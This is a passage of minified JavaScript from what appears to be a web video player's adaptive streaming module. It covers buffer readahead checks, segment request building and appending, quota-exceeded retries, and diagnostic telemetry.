!0;H=Math.min(Bw(x.Kf,x.audioTrack)*1E3,x.Z.targetAudioReadaheadMs);T=Math.min(Bw(x.Kf,x.videoTrack)*1E3,x.Z.targetVideoReadaheadMs);var I=Math.min(H,T);t=F_(x.audioTrack,!0)*1E3;var E=F_(x.videoTrack,!0)*1E3;if(x.policy.IJ){var Z=x.Em.getCurrentTime()*1E3;var e=RW5(x.uG.v9,Z);Z=RW5(x.Hv.v9,Z)}else e=t,Z=E;var l=e<I&&!K0(x,x.audioTrack);I=Z<I&&!K0(x,x.videoTrack);!(I=!l&&!I)&&(I=x.policy.Z)&&(I=x.Kf,!I.zI||bQ(I.gy)?I=!1:(l=Xa(I.zI),I=PqD(I,l)));if(I||x.policy.d4&&SPv(x.Kf)&&x.videoData.qg()||x.policy.Ob&&
SPv(x.Kf))return!1;x.policy.N&&(I=x.Kf.K2(),I.car=e,I.vac=Z,I.mar=H,I.mvr=T,I.tar=x.Z.targetAudioReadaheadMs,I.tvr=x.Z.targetVideoReadaheadMs,I.vbu=iK(((u=x.Em.Bt())==null?void 0:u.kp())||null),I.abh=t,I.vbh=E,x.Kf.kc("sabrcrq",I));return!0};
wB=function(x,T){eWH(x);x.Kf.Pk();return Uf(T,x.Kf.isSeeking())};
RW5=function(x,T){var t=0,u=-1;x=g.S(x);for(var H=x.next();!H.done;H=x.next())if(H=H.value,!(H.startTimeMs+H.durationMs<T)){if(u<0&&H.startTimeMs>T||u>=0&&H.t$>u+1)break;t=Math.max(t,H.startTimeMs+H.durationMs);u=Math.max(u,H.CK)}return Math.max(0,t-T)};
ZBJ=function(x,T,t){var u={xP:x.xP,Ke:function(e,l){x.Em.J4(e,l)},
sC:x.policy.Xe,qG:x.policy.j};x.xP.Z.N&&(u.mO=(x.videoTrack.C.info.Zp||0)+(x.audioTrack.C.info.Zp||0));x.policy.KB&&(u.cU=x.audioTrack.C.index.KO(),u.sC=!1);var H=eeV(T,x.policy,x.N)?2:1;H!==x.ZZ&&(x.ZZ=H,cj3(x));t=dEq(x,t);if((x.policy.Z||x.policy.QU)&&x.policy.j&&t.Tt){for(var I=H="",E=g.S(t.Tt),Z=E.next();!Z.done;Z=E.next())Z=Z.value,x.videoData.sabrContextUpdates.has(Z)?H+="_"+Z:I+="_"+Z;x.Kf.kc("sabrbldrqs",{ctxts:H,misctxts:I})}T.setData(t,x.Kf.vS(),x.policy,x.N)||!x.policy.Z&&!x.policy.QU||
x.Kf.handleError("player.exception",{reason:"buildsabrrequestdatafailed"},1);u=new FZ(x.policy,T,x.gy,x.N,x,u,x.Kf.cg(),x.policy.nU?x.Kf.vS():void 0);h$(x.timing);x.policy.N&&x.Kf.kc("sabrcrq",{rn:u.Bw(),probe:T.hH()});return u};
o1=function(x,T){if(T.T9()||x.T9())x.policy.pT||(x.policy.D?TL(x.Kf):x.Kf.NI());else{if(x.policy.j&&T.isComplete()&&T instanceof FZ){var t=x.Kf,u=t.kc,H,I,E=Object.assign(T.Ht.Sl(),{rst:T.state,strm:T.xhr.IM(),d:(H=T.Ht.hQ)==null?void 0:H.vM(),cncl:T.xhr&&T.gp.K?1:0,rqb:T.wz,cwt:T.lc,swt:(I=T.d7)==null?void 0:I.Bu});H=Object.assign(d_v(T.info),E);u.call(t,"rqs",H)}if(T.isComplete()&&T.hH()&&T instanceof FZ)x.policy.FD?T.Ej()?(T.dispose(),x.C.length===0?x.Kf.NI():(x=x.C[0],x instanceof FZ&&x.PZ()&&
x.Mv(!1))):T.sG()&&x.Kf.handleError(T.Yp(),T.Ti()):(T.dispose(),x.Kf.NI());else{if(T.Cg())T instanceof FZ&&IN3(x.timing,T),cj3(x),YPv(x);else if(T.sG())t=x.Em.j$(),T instanceof FZ&&m_f(T.info)&&t&&x.Kf.Gp(t),T instanceof Oo?x.C.pop():(t=1,T.canRetry()&&xA(x.Kf)&&(UEH(x,T),t=0),x.Kf.handleError(T.Yp(),T.Ti(),t));else{if(x.Kf.isSuspended&&!T.isComplete())return;YPv(x)}T.T9()||T instanceof Oo||(T.isComplete()?t=Q$q(T,x.policy,x.N):(t=CQV(T,x.policy,x.N),t===1&&(x.AQ=!0)),t!==0&&(u=new cj(1,T.info.QA),
u.ib=t===2,ZBJ(x,u)));x.policy.rp&&!T.isComplete()?K9(x.Kf):x.Kf.NI()}}};
YPv=function(x){for(;x.C.length&&x.C[0].tG(x.AR());){var T=x.C.shift();bB3(x,T);if(x.policy.T){var t=x;if(!t.policy.tQ&&T.tG(t.AR())){var u=T.Bw();if(t.tQ!==u){var H=T.WP();T=H.QL;var I=H.Le;H=H.isDecorated;!t.K||I<0||(t.tQ=u,u=gj(t.S,I/1E3,T),I=t.Kf.Pk()||0,LR(t.S,T,u-I,H,t.K))}}}}x.C.length&&bB3(x,x.C[0])};
bB3=function(x,T){var t=new Set(T.j_(x.AR()));t=g.S(t);for(var u=t.next();!u.done;u=t.next()){var H=u.value;if(!(u=!(T instanceof Oo))){u=x.j;var I=u.gy.B9,E=Pj(u.videoInfos,I);u=Imf(u,H,I)||E.includes(H)}if(u&&(u=T.gs(H,x.AR()),I=x.policy.ra&&t0(u[0].C.info.mimeType),(!(!I&&x.policy.k7&&u.length>0&&(u[0].C.info.iD()?F_(x.audioTrack):F_(x.videoTrack))>3)||T.isComplete())&&T.kK(H,x.AR()))){H=T.Ca(H,x.AR());if(x.policy.Z){E=u[0].C.info;var Z=x.Kf.vS();if(Z&&E){var e=T.rj();Z.api.B("html5_ssap_set_format_info_on_video_data")&&
e===Gb(Z)&&(E.iD()?Z.playback.getVideoData().K=E:Z.playback.getVideoData().Z=E);if(Z=tl(Z.timeline,e))if(Z=Z[0].getVideoData())E.iD()?Z.K=E:Z.Z=E}}H=g.S(H);for(E=H.next();!E.done;E=H.next())if(E=E.value,x.policy.j&&T instanceof Oo&&x.Kf.kc("omblss",{s:E.info.Hk()}),I)Z=x,Z.videoData.B9()&&Z.D&&bz(Z.D)===bz(g.xj(E.info.C.info,Z.gy.B9))&&Z.Em.publish("sabrCaptionsDataLoaded",E,Z.KQ.bind(Z));else{Z=E.info.C.info.iD();var l=E.info.C;if(Z){e=void 0;var m=x.j,d=(e=T.OS(x.AR()))==null?void 0:e.token;m.J=
!1;l!==m.D&&(m.D=l,m.CD(l,m.audioTrack,d))}else e=void 0,o3i(x.j,l,(e=T.OS(x.AR()))==null?void 0:e.token);e=Z?x.audioTrack:x.videoTrack;T instanceof Oo&&(e.N=!1,T instanceof Oo&&(Z?odX(x.timing):TDC(x.timing)));try{Yo(e,u,E)}catch(M){E=kX(M),x.Kf.handleError(E.errorCode,E.details,E.severity),e.CU(),x.jc(!1,"pushSlice"),TL(x.Kf)}}}}};
UEH=function(x,T){x.policy.QU?x.C.splice(x.C.indexOf(T)).forEach(function(t){t.dispose()}):(x.C.pop(),T==null||T.dispose())};
rjJ=function(x,T,t){for(var u=[],H=0;H<x.C.length;H++)T&&x.C[H]instanceof Oo?u.push(x.C[H]):(x.policy.N&&x.Kf.kc("sabrcrq",{d:x.C[H].Bw(),src:t}),x.C[H].dispose());x.C=u};
zWC=function(x,T){T&&T.type&&(x.videoData.sabrContextUpdates.set(T.type,T),T.sendByDefault&&x.Tt.add(T.type))};
k8f=function(x,T,t){T.PT(t.Yq,t.version)?x.videoData.lH=t.version||"":x.Kf.kc("ssap",{v:t.version,tlnu:1})};
cj3=function(x){x.Tt.clear();if(x.videoData.sabrContextUpdates.size>0)for(var T=g.S(x.videoData.sabrContextUpdates.keys()),t=T.next();!t.done;t=T.next()){t=t.value;var u=void 0;((u=x.videoData.sabrContextUpdates.get(t))==null?0:u.sendByDefault)&&x.Tt.add(t)}if(x.policy.QU&&x.C.length)for(T=g.S(x.C),t=T.next();!t.done;t=T.next())(t=t.value.I6())&&t.type&&t.sendByDefault&&x.Tt.add(t.type)};
FJH=function(x){x.policy.Jq&&(x.Om=void 0,x.lR=0)};
hWi=function(x,T){if(T.sG()||T.T9()){var t=x.Kf,u=t.kc,H=T.state;x=x.AR();var I,E;if((T=(I=T.O0)==null?void 0:I.get(x))==null)T=void 0;else{I=0;x=T.j_();for(var Z=0;Z<x.length;Z++){var e=void 0;I+=((e=T.YP.get(x[Z]))==null?void 0:e.bytesReceived)||0}T=I}T=(E=T)!=null?E:-1;u.call(t,"sabromb",{s:H,tbytes:T})}else x.C.push(T),T.FH.push(x),h$(x.timing),x.policy.GC&&T.SC&&x.oC(T.SC)};
K0=function(x,T){return x.policy.xQ?!x.Kf.Zb&&JU(T)&&(T.QT()!==JU(T)||x.Kf.isSuspended):!1};
vc3=function(x){var T="";x=g.S(x);for(var t=x.next();!t.done;t=x.next()){t=t.value;T+=".cid."+t.clipId;if(t.r9){var u=t.r9;T+=".vid."+u.eP+(".pst."+u.PK)+(".ps."+u.U5)+(".lst."+u.KeU)+(".ld."+u.TX)+(".ls."+u.hZ)}t.j5&&(T+=".nonv."+t.j5.xr)}return T};
VO5=function(x){this.K=x;this.C=0;this.Z=!1;this.j=new Map};
G8D=function(x,T,t,u,H){this.Kf=x;this.policy=T;this.schedule=t;this.Z3=u;this.S=H;this.ZZ=NaN;this.Z=this.N=this.K=null;this.C=this.T=this.D=this.startTimeSecs=NaN;this.j=!1;this.J=NaN};
LJv=function(x,T,t,u,H,I){return T.vE&&T.tR&&t===3?new G8D(x,T,u,H,I):null};
ncJ=function(x,T){if(x.policy.uv){var t=T.info.Zp,u=Si(x.schedule);T=T.index.KO();t=Math.max(1,u/t);x.J=Math.round(Math.max(((t-1)*T+x.policy.C4)/t,T-x.policy.OG)*1E3)}};
B0J=function(x,T){var t=Date.now()/1E3,u=t-x.startTimeSecs,H=t-x.D,I=H>=x.policy.Gq,E=!1;if(I){var Z=0;!isNaN(T)&&T>x.T&&(Z=T-x.T,x.T=T);Z/H<x.policy.u4&&(E=!0);x.D=t}t=u>=x.policy.OG&&!x.j;if(!I&&!t&&aGC(x,T))return NaN;t&&(x.j=!0);a:{u=E;t=(0,g.bo)()/1E3-(x.Z3.Z$()||0)-x.N.C-x.policy.C4;I=x.Z.startTime;t=I+t;if(u){if(isNaN(T)){u$(x,NaN,"n",T);I=NaN;break a}u=T-x.policy.lM;u<t&&(t=u)}else x.j&&(u=t+x.policy.C4-x.ZZ+x.policy.xl,isNaN(T)||(u=Math.max(u,Math.min(t,T-x.policy.lM))),t=u);I=t=Math.max(t,
I)}x.C=I;if(isNaN(x.C))return x.clear(),NaN;if(!E&&aGC(x,T))return gc4(x,T),NaN;if(x.C<=x.Z.startTime)return u$(x,NaN,"y",T),x.clear(),NaN;if(!x.S(x.C,!1))return!gc4(x,T)&&E&&(u$(x,NaN,"t",T),x.clear()),NaN;E=x.C;u$(x,E,"s",T);x.clear();return E};
gc4=function(x,T){return x.S(x.C,!0)?!1:(u$(x,NaN,"ns",T),x.clear(),!0)};
aGC=function(x,T){return isNaN(T)?!0:isNaN(x.C)?!1:T<x.C+(x.j?x.policy.lM:x.policy.PX)};
u$=function(x,T,t,u){var H=x.K.Ti();H.ssr_sk=(T*1E3).toFixed(0);H.ssr_t=(x.C*1E3).toFixed(0);H.ssr_r=t;H.ssr_st=(x.startTimeSecs*1E3).toFixed(0);H.ssr_n=(0,g.bo)().toFixed(0);H.ssr_f=(x.N.C*1E3).toFixed(0);H.ssr_fa=x.j?"1":"0";H.ssr_o=(x.Z3.Z$()*1E3||0).toFixed(0);H.ssr_v=(u*1E3).toFixed(0);T=x.Z.C.index;T.wP(x.Z.Mj,!0)&&(H.ssr_ist=(T.getStartTime(x.Z.Mj)*1E3).toFixed(0),H.ssr_id=(T.getDuration(x.Z.Mj)*1E3).toFixed(0));x.Kf.kc("ssr",H)};
WJ3=function(){var x={};if(window.performance){var T=window.performance.memory;T&&(x.jsTotal=T.totalJSHeapSize,x.jsUsed=T.usedJSHeapSize,x.jsLimit=T.jsHeapSizeLimit,x.msTotal=T.totalMediaSourceSize,x.msLimit=T.mediaSourceSizeLimit,x.msUsed=T.usedMediaSourceMemorySize)}var t;if((t=window.h5vcc)==null?0:t.cVal)x.cbFree=window.h5vcc.cVal.getValue("Memory.CPU.Free"),x.cbUsed=window.h5vcc.cVal.getValue("Memory.CPU.Used"),x.cbJs=window.h5vcc.cVal.getValue("Memory.JS");return x};
g.Hr=function(x,T,t,u,H,I,E,Z,e,l){Z=Z===void 0?!1:Z;g.W.call(this);var m=this;this.Em=x;this.schedule=T;this.policy=t;this.gy=u;this.jY=e;this.FD=l;this.FW=null;this.hQ=this.QU=this.Om=this.Zb=0;this.rG=this.fS=this.isSuspended=!1;this.mu="";this.Jq={};this.hM=!1;this.Ee=0;this.J=null;this.Cz=this.nf=!1;this.aX=0;this.tQ=!1;this.Hv=this.SY=0;this.tM=null;this.xZ=function(){return m.Em.xZ()};
this.timing=new xHv(this.FD);this.S=new bL(this.schedule,this.policy);this.ra=new g.wX(this.NI,0,this);this.Lz=new g.wX(this.NI,this.policy.rp,this);this.cJ=new g.wX(this.NI,1E3,this);this.rp=new g.wX(this.NI,void 0,this);this.AQ=new g.wX(function(){m.policy.WU&&m.isSuspended||m.NI()},1E4,this);
this.kP=new g.wX(this.wSY,250,this);this.D=this.currentTime=NaN;this.tb=new Zm(5);this.uG=this.timestampOffset=NaN;this.logger=new g.t$("dash");this.L2=Infinity;this.yF={getAudioTrack:function(){return m.audioTrack},
ZNY:function(){return m.videoTrack},
getManifest:function(){return m.gy},
S$W:function(){return m.j},
NI:function(){m.NI()},
xM:function(){m.Zb=0;m.xM()},
vZ7:function(d){return $y(m,m.videoTrack,m.FW.Z,d)}};
x=e&&e.j_();e&&(O3v(e,this.gy,this.policy),this.uG=Date.now());this.C=new pR(this,this.S,t,this.gy,H,x);t=SUV(this.C,I,E&&E.id);this.audioTrack=new Rd(this,this.policy,t.audio,this.timing);this.videoTrack=new Rd(this,this.policy,t.video,this.timing);this.videoTrack.K.Hv=this.audioTrack.zb();this.G9={updateend:this.eq,error:this.mJ9};g.y(this,this.ra);g.y(this,this.Lz);g.y(this,this.cJ);g.y(this,this.rp);g.y(this,this.AQ);t=this.policy.yz&&this.policy.HD?!q3X(this.videoTrack.C.info):!1;this.Ym=ndv({Ok:this.policy.J.Ok||
t,HD:this.policy.HD&&!t,AJ:this.policy.AJ});this.N=LJv(this,this.policy,this.Ym,this.schedule,this.tb,function(d,M){return DE3(m,d,M)});
this.K=new v6(this,this.gy,this.policy,this.videoTrack,this.audioTrack,Z,this.Em.getVideoData().Ty());this.iq=new Gk(this,this.gy,this.videoTrack,this.audioTrack,this.policy);Z=this.policy.Kl?this.Em.getVideoData().rV:null;this.T=new QB(this,this.policy,this.videoTrack,this.audioTrack,this.Jq,this.K,this.timing,this.S,this.schedule,this.gy,this.C,this.N,t,Z);g.y(this,this.T);this.Z=new As(this,this.policy,this.videoTrack,this.audioTrack,this.gy,H,sD(this.Em.getVideoData()),E==null?void 0:E.id);g.y(this,
this.Z);$_v(this.Z,I);this.j=new Ecv(this.Em,this,this.policy,this.audioTrack,this.videoTrack,this.gy,this.schedule,this.C,this.Z,this.timing,this.K);g.y(this,this.j);this.ZZ=this.Em.sF.wD.rP;this.policy.D||yjJ(this);this.policy.Nz&&(this.Zk=new VO5(this.videoTrack.C.index));this.logger.debug("Created")};
yjJ=function(x){var T,t;if((T=x.ZZ)==null?0:(t=T.D_)==null?0:t.itagDenylist){var u;x.EW((u=x.ZZ)==null?void 0:u.D_.itagDenylist)}var H;if((H=x.ZZ)==null?0:H.playbackStartPolicy){var I,E;JJ(x.policy,(I=x.ZZ)==null?void 0:I.playbackStartPolicy,3,(E=x.ZZ)==null?void 0:E.Bw())}if(x.policy.Fe){T=x.AR();var Z;(t=T?(Z=x.ZZ)==null?void 0:Z.XP.get(T):void 0)&&x.j.K$(t)}if(!x.gy.S){var e;Z=(e=x.ZZ)==null?void 0:e.Oj;(Z==null?0:Z.Uv)&&(Z==null?0:Z.fv)&&x.gy.B9&&U4(x.gy,Z.Uv,Z.fv)}var l;((l=x.ZZ)==null?0:l.GO)&&
(e=x.ZZ.GO.get(x.AR()||""))&&x.gy&&e.formatId&&(x=x.gy.j.get(bz(e.formatId)))&&(x.info.debugInfo=e.debugInfo)};
N03=function(x,T){if(x.policy.Z&&!x.policy.TN)return!1;var t=bz(g.xj(T.C.info,x.gy.B9)),u,H=((u=x.jY)==null?void 0:u.gs(t))||[];if(H.length===0)return x.kc("ombmsi",{}),!1;H=new BH(H);if(u=!x.policy.jY||isFinite(x.getCurrentTime())||x.Em.j$()){a:{u=x.getCurrentTime();H=g.S(H.iG);for(var I=H.next();!I.done;I=H.next())if(I=I.value,I.type===3&&u>=I.Gy&&u<=I.BS){u=!0;break a}u=!1}u=!u}if(u)return x.kc("ostmf",{ct:x.getCurrentTime(),a:T.C.info.iD()}),!1;(x=x.jY)!=null&&(x.YP.get(t).Mh=!0);return!0};
Jjq=function(x){if(!x.gy.B9)return!0;var T=x.Em.getVideoData();if(T.B("html5_skip_live_preroll_onesie")&&x.Em.jH()||T.B("html5_skip_live_preroll_onesie_post_live")&&x.Em.jH()&&(T.qI||T.isPremiere))return x.kc("ombpa",{}),!1;var t,u;if(x.policy.yj&&!!((t=x.ZZ)==null?0:(u=t.Oj)==null?0:u.siy)!==x.gy.qI)return x.kc("ombplmm",{}),!1;t=T.Ym||T.liveUtcStartSeconds||T.dN;if(x.gy.qI&&t)return x.kc("ombplst",{}),!1;if(x.gy.S)return x.kc("ombab",{}),!1;t=Date.now();return bQ(x.gy)&&!isNaN(x.uG)&&t-x.uG>x.policy.LJ*
1E3?(x.kc("ombttl",{}),!1):x.gy.Q9&&x.gy.K||!x.policy.PO&&x.gy.isPremiere||!(lv(T)===0||x.policy.C&&T.B("html5_enable_onesie_media_for_sabr_proxima_optin"))||T.B("html5_disable_onesie_media_for_mosaic")&&pm(T)||T.B("html5_disable_onesie_media_for_ssdai")&&T.isDaiEnabled()&&T.enableServerStitchedDai?!1:!0};
CqD=function(x,T){var t=T.C,u=x.gy.B9;if(Jjq(x))if(x.jY&&x.jY.YP.has(bz(g.xj(t.info,u)))){if(u=bz(g.xj(t.info,u)),N03(x,T)){var H=new BH(x.jY.gs(u)),I=function(E){try{if(E.sG())x.handleError(E.Yp(),E.Ti()),VB(T,E),DN(E.info)&&f9(x.T,T,t,!0),x.NI();else if(wC(x.T,E)){var Z;(Z=x.K)==null||je3(Z,E.info,x.J);x.NI()}}catch(e){E=kX(e),x.handleError(E.errorCode,E.details,E.severity),x.CU()}};
t.j=!0;WH(H)&&(co(T,new Lh(x.policy,u,H,x.jY,I)),h$(x.timing))}}else x.kc("ombfmt",{})};
i$=function(x,T){T=T||x.videoTrack&&x.videoTrack.Z&&x.videoTrack.Z.startTime||x.getCurrentTime();var t=X_,u=x.videoTrack,H=x.C;T=H.nextVideo&&H.nextVideo.index.tp(T)||0;H.Hv!==T&&(H.hQ={},H.Hv=T,OE(H,H.C));T=!H.C.isLocked()&&H.S>-1&&(0,g.bo)()-H.S<H.policy.ZH*1E3;var I=H.nextVideo&&KR(H,H.nextVideo.info)*3<kz(H.uG);if(!T||I)Qp(H),fR(H),H.jY=H.jY||H.nextVideo!==H.j;H.nextVideo&&!H.nextVideo.index.isLoaded()&&(H.Hv=-1);t(x,u,H.nextVideo);X_(x,x.audioTrack,x.C.Z)};
I1=function(x,T){x.fS=T;x.policy.Hv||(x.logger.debug("Suspended."),x.isSuspended=!0,x.policy.IE&&(x.cJ.stop(),x.Lz.stop(),x.ra.stop()),x.policy.WU&&x.AQ.stop())};
nR=function(x,T,t,u){x.policy.T&&x.jc(!1,"rollback");if(x.gy.isManifestless){var H=hJ(x.audioTrack,u,t,T),I=hJ(x.videoTrack,u,t,T);x.policy.qz||(I&&Y8(x.gy,u,!0),H&&Y8(x.gy,u,!1));x.policy.Zk&&(I&&(x.videoTrack.ZZ=[]),H&&(x.audioTrack.ZZ=[]));x.kc("sdai",{rollbk2_seg:u,rbt:t.toFixed(3),lt:T.toFixed(3),a:H,v:I});(H||I)&&x.policy.T&&TL(x)}};
QX3=function(x){x.logger.debug("Rebuffering.");x.rG=!0;if(x.policy.Cz&&x.FW){var T,t,u,H;x.kc("lr_rb",{c:x.getCurrentTime(),s:x.isSeeking(),ab:iK(x.FW.C.ma()),ala:(T=SN(x.audioTrack))==null?void 0:T.Hk(),alr:(t=x.audioTrack.Z)==null?void 0:t.Hk(),vb:iK(x.FW.Z.ma()),vla:(u=SN(x.videoTrack))==null?void 0:u.Hk(),vlr:(H=x.videoTrack.Z)==null?void 0:H.Hk()})}x.Em.uj()!==0&&x.kc("sps_rebuffer",{c:x.getCurrentTime()})};
pK5=function(x){x.policy.hM=!1;try{x.xM()}catch(T){g.vW(T)}};
OBv=function(x){return x.policy.C&&x.policy.Z&&(!A0()&&x.policy.qY||x.policy.pI)};
KJ3=function(x,T,t,u){t=t===void 0?!1:t;u=u===void 0?!1:u;x.policy.Hv&&(x.logger.debug("disable updateMetadataWithoutMediaSource"),x.policy.hQ&&x.kc("loader",{setsmb:0}),x.CU(),x.policy.Hv=!1);x.logger.debug("attaching media source");fG3(x,u);if(OBv(x))x.kc("ssap",{delaysb:1}),x.FW=T;else{if(!fQ(T)){var H=JU(x.videoTrack);H=H?H.info.C:x.videoTrack.C;var I=JU(x.audioTrack);I=I?I.info.C:x.audioTrack.C;x.policy.Z&&x.kc("ssap",{initsb:1,v:H.info.id,vf:H.info.Wv,a:I.info.id,af:I.info.Wv});R_v(T,H.info,
I.info,x.policy.cS)}wKJ(x,T,t,u);try{x.NI()}catch(E){g.vW(E)}}};
wKJ=function(x,T,t,u){t=t===void 0?!1:t;u=u===void 0?!1:u;Po(x.videoTrack,T.Z||null,u);Po(x.audioTrack,T.C||null,u);x.FW=T;x.FW.K=!0;t||x.resume();T.C.gR(x.G9,x);T.Z.gR(x.G9,x)};
fG3=function(x,T){T=T===void 0?!1:T;x.FW&&x.FW.C&&x.FW.Z&&(x.FW.C.Pr(x.G9,x),x.FW.Z.Pr(x.G9,x));Po(x.audioTrack,null,T);Po(x.videoTrack,null,T);x.FW&&(x.FW.K=!1);x.FW=null};
XKq=function(x){x.FW&&x.FW.oT()&&(x.Pg(),x.policy.sW&&x.handleError("fmt.unplayable",{unexpected:1},1))};
Tbf=function(x,T){if(!x.T9())if(x.policy.C){if(!H1V(x.Z,T)){var t=x.Z.Z;$_v(x.Z,T);var u=!1;u=T.isLocked()&&T.reason==="m"&&i1f(x.Z,T.C);var H=x.policy.FR&&T.reason==="l";t=t.C>T.C&&T.reason==="b";u||H||t?(x.Em.h8({reattachOnConstraint:u?"u":H?"drm":"perf",lo:T.Z,up:T.C}),x.policy.WD||(x.Z.C.Z=!1)):(x.policy.WD&&(x.Z.C.Z=!1),TL(x))}}else if(!c75(x.C,T)&&x.videoTrack){x.logger.debug(function(){return"Setting constraint: r="+T.reason+" u="+T.C});
t=x.C.C;x$X(x,UHv(x.C,T));i$(x);u=T.isLocked()&&T.reason==="m"&&x.C.jY;H=x.policy.FR&&T.reason==="l"&&n9(x.videoTrack);t=t.C>T.C&&T.reason==="b";var I=x.C.mu&&!A0();u||H||t||I?x.Em.h8({reattachOnConstraint:u?"u":H?"drm":I?"codec":"perf"}):TL(x)}};
o7D=function(x,T,t){if((!x.FW||Q5(x.FW)&&!x.policy.U9)&&!x.iq.isSeeking()&&(x.policy.C||n9(T)&&T.C.fC()&&x.C.ZZ)){var u=x.getCurrentTime()+Sk4(x.S,T,t);x.logger.debug(function(){return"Clearing back to "+u.toFixed(3)});
bY5(T,u)}};
x$X=function(x,T){T&&(x.logger.debug(function(){return"Logging new format: "+uK(T.video.info)}),tVv(x.Em,new Dp(T.video,T.reason)));
if(x.C.AQ){var t=krX(x.C,"a");x.Em.H1(new Dp(t.audio,t.reason))}};
TL=function(x){g.Kt(x.ra)};
K9=function(x){x.policy.rp&&x.policy.AJ&&Math.min(UK3(x.videoTrack),UK3(x.audioTrack))*1E3>x.policy.HH?g.Kt(x.Lz):x.NI()};
sU3=function(x,T){var t=(0,g.bo)()-T,u=F_(x.audioTrack,!0)*1E3,H=F_(x.videoTrack,!0)*1E3;x.logger.debug(function(){return"Appends paused for "+t});
if(x.policy.j&&(x.kc("apdpe",{dur:t.toFixed(),abuf:u.toFixed(),vbuf:H.toFixed()}),yB(x.policy))){var I=kz(x.S);x.kc("sdps",{ct:T,ah:u.toFixed(),vh:H.toFixed(),mr:Fm(x.S,x.rG,I),bw:I.toFixed(),js:x.isSeeking(),re:+x.rG,ps:(x.policy.vO||"").toString(),rn:(x.policy.wk||"").toString()})}};
uUf=function(x){if(x.policy.Z&&Bo(x.videoTrack)&&Bo(x.audioTrack))return"ssap";if(v8X(x.videoTrack))return x.logger.debug("Pausing appends for server-selectable format"),"ssf";if(x.policy.AQ&&Wo(x.videoTrack)&&Wo(x.audioTrack))return"updateEnd";if(L9(x.audioTrack)||L9(x.videoTrack)&&x.videoTrack.C.info.Wv!=="f")return"";if(x.iq.isSeeking()){var T=x.S;var t=x.videoTrack;var u=x.audioTrack;if(T.policy.C){var H=T.policy.kX;yB(T.policy)&&(H=Fm(T,!1,kz(T)));T=H;t=F_(u,!0)>=T&&F_(t,!0)>=T}else t.j.length||
u.j.length?(H=t.C.info.Zp+u.C.info.Zp,H=10*(1-kz(T)/H),T=Math.max(H,T.policy.kX),t=F_(u,!0)>=T&&F_(t,!0)>=T):t=!0;if(!t)return"abr";t=x.videoTrack;if(t.j.length>0&&t.K.Z.length===1&&TVD(t.K).info.D<t.AQ)return"seek"}if(x.policy.T&&Ljm(x.videoTrack,x.K)&&Ljm(x.audioTrack,x.K))return"ssdai";t=!x.policy.EU||x.getCurrentTime()<10;x.policy.C||(t=t||x.videoTrack.C.info.video.C>360);u=yB(x.policy)&&x.policy.ea;if(!x.rG||!u&&t)return"";t=x.policy.EU;yB(x.policy)&&(t=Fm(x.S,x.rG,kz(x.S)));t=z0f(x.videoTrack,
x.getCurrentTime(),t)||z0f(x.audioTrack,x.getCurrentTime(),t);return yB(x.policy)?t?"mbnm":"":(x.videoTrack.j.length>0||x.audioTrack.j.length>0||p9(x.T,x.videoTrack,x.audioTrack)||p9(x.T,x.audioTrack,x.videoTrack))&&t?"nord":""};
$$q=function(x){if(x.N){var T=x.N.NI(x.audioTrack,ZD(x.FW.Z.ma()));T&&x.Em.seekTo(T,{OJ:!0,wp:"pollSubsegmentReadahead",KT:!0})}};
jUm=function(x,T,t){if(x.policy.AQ&&Wo(T))return!1;if(t.Lj())return!0;if(!t.LS())return!1;var u=JU(T);if(!u||u.info.type===6)return!1;var H=x.policy.b0;if(H&&!u.info.K){var I=u.info.Gy-x.getCurrentTime();if(u.info.D<I*H)return!1}var E;if(x.policy.D8||((E=x.K)==null?0:lN3(E,T,u.info.Mj)))x.hQ=0;else return x.iq.isSeeking()&&TL(x),x.hQ=x.hQ||(0,g.bo)(),!1;if(!$y(x,T,t,u.info))return!1;if(x.gy.Z&&u.info.Z===0){if(H=Hm3(T,t,u))I=SN(T),x.kc("initchg",{it:u.info.C.info.id,sr:!!I&&I.C===u.info.C,ty:u.info.type,
seg:u.info.Mj});I=g.Kj(u.info.C.info);x.policy.dN&&I&&!H&&Sc4(u)}I=x.N&&!!x.N.K&&T.C.info.audio;H=x.gy.isManifestless||u.T;if(!(x.gy.Z&&u.info.Z!==0||H&&!I)&&im5(x,T,t,u))return!0;if(I)return!1;I=Bw(x,T);I=x.getCurrentTime()+I;if(u.info.Gy>I)return x.policy.C&&IFH(x,T),x.policy.nX&&LH5(T.K,I,!1),!1;E7V(x,T);var Z;x.policy.F3&&t===((Z=x.FW)==null?void 0:Z.C)&&x.tQ&&(t.Ia()===0?(x.tQ=!1,x.policy.F3=!1):x.SY=t.Ia());if(!qD3(x,t,u,T))return!1;x.policy.AQ&&u.info.FQ()?(x.Em.Y().AM()&&x.kc("eosl",{ls:u.info.Hk()}),
u.isLocked=!0):(T.l6(u),zUD(x.C,u.info),x.logger.debug(function(){return"Appended "+u.info.Hk()+", buffered: "+iK(t.ma())}));
H&&ZmD(x,u.info.C.g8);return!0};
IFH=function(x,T){T===x.videoTrack?x.QU=x.QU||(0,g.bo)():x.Om=x.Om||(0,g.bo)()};
E7V=function(x,T){T===x.videoTrack?x.QU=0:x.Om=0};
qD3=function(x,T,t,u){var H=x.policy.Cz?(0,g.bo)():0,I=t.T&&t.info.C.C||void 0,E=t.C;t.T&&(E=eHD(x,t,E)||E);var Z=E.QX();E=x.policy.Cz?(0,g.bo)():0;T=lFJ(x,T,Z,t.info,I);(u=u.S)!=null&&(I=t.info,H=E-H,E=(0,g.bo)()-E,!u.Z||CFX(u.Z,I)&&u.Z.Mj===I.Mj||u.flush(),u.K+=H,u.j+=E,H=1,!u.Z&&I.Z&&(H=2),Tb(u,H,T),E=Math.ceil(I.Z/1024),H===2&&u.C.add(E),u.C.add(Math.ceil((I.Z+I.j)/1024)-E),u.Z=I);x.Hv=0;if(T===0)return x.nf&&(x.logger.debug("Retry succeed, back to normal append logic."),x.nf=!1,x.Cz=!1),x.Ee=
0,!0;if(T===2||T===5)return m$3(x,"checked",T,t.info),!1;if(T===1){if(!x.nf)return x.logger.debug("QuotaExceeded, retrying."),x.nf=!0,!1;if(!x.Cz)return x.Cz=!0,x.Em.seekTo(x.getCurrentTime(),{wp:"quotaExceeded",KT:!0}),!1;t.info.Zo()?(H=x.policy,H.nf=Math.floor(H.nf*.8),H.uG=Math.floor(H.uG*.8)):(H=x.policy,H.Lz=Math.floor(H.Lz*.8),H.uG=Math.floor(H.uG*.8));x.policy.C?Nt(x.Z.C,t.info.C,!1):wj(x.C,t.info.C)}x.Em.h8({reattachOnAppend:T});return!1};
